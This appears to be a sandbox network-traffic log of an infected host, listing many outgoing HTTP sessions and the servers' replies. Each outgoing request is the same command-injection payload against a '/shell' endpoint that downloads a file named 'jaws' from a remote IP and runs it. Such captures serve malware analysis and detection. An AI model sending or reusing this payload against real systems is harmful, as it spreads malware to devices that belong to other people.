Mar 13, 2024 09:36:13.875778913 CET	545	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:13 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.3.31 Content-Length: 326 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 31 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 6c 20 50 48 50 2f 37 2e 33 2e 33 31 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.3.31 Server at localhost Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.15	41332	113.20.28.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:13.540168047 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:13.895209074 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:13 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 13, 2024 09:36:13.895247936 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 13, 2024 09:36:13.895286083 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 13, 2024 09:36:13.895324945 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 13, 2024 09:36:13.895361900 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 13, 2024 09:36:13.895399094 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 13, 2024 09:36:13.895441055 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 13, 2024 09:36:13.895518064 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to server.abadinikelnusantara.id's <a href="mailto:ro
Mar 13, 2024 09:36:13.895550966 CET	391	IN	Data Raw: 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 Data Ascii: ?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <d

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.15	36156	54.146.18.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:13.976308107 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:14.070621014 CET	433	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:14 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.15	49826	216.57.226.26	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:14.010919094 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:14.140619993 CET	495	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:28:55 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.15	59190	104.196.18.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:14.091388941 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:14.207207918 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:14 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.15	39868	52.84.181.70	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:14.134716988 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:14.293739080 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:36:14 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.15	53564	172.241.215.166	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:14.134989023 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:14.293684959 CET	430	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:14 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.15	38076	34.90.194.115	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:14.146923065 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:14.326731920 CET	96	IN	HTTP/1.1 400 Bad Request content-length: 0 date: Wed, 13 Mar 2024 08:36:14 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.15	46884	34.93.58.157	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:14.488010883 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:14.840995073 CET	252	IN	HTTP/1.1 200 OK Server: nginx/1.15.12 Date: Wed, 13 Mar 2024 08:36:14 GMT Content-Type: text/html Content-Length: 1703 Last-Modified: Fri, 22 Jul 2022 08:07:49 GMT Connection: keep-alive ETag: "62da5ad5-6a7" Accept-Ranges: bytes
Mar 13, 2024 09:36:14.841095924 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0d 0a 20 20 3c 21 2d 2d 20 4f 74 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> ... Others --> <title>Arunachala Dashboard</title> ... PRODUCTION --> ... <title>Annamalaiyar - Command Center</title> --> <base href="/" /> <meta nam
Mar 13, 2024 09:36:14.841130018 CET	441	IN	Data Raw: 36 30 34 39 39 64 61 61 38 36 35 2e 6a 73 22 20 74 79 70 65 3d 22 6d 6f 64 75 6c 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 72 75 6e 74 69 6d 65 2d 65 73 35 2e 37 65 32 66 34 65 66 63 35 36 30 34 39 39 64 61 61 38 Data Ascii: 60499daa865.js" type="module"></script><script src="runtime-es5.7e2f4efc560499daa865.js" nomodule defer></script><script src="polyfills-es5.6fe5d0a1cdda973f91b1.js" nomodule defer></script><script src="polyfills-es2015.3ae8b484923378eb5be6.js"

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.15	41120	34.205.241.155	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.001049995 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.15	43304	163.123.183.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.024056911 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:16.141076088 CET	354	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Wed, 13 Mar 2024 08:36:16 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.15	41842	51.158.200.225	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.069653034 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.15	60776	196.51.148.245	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.070399046 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
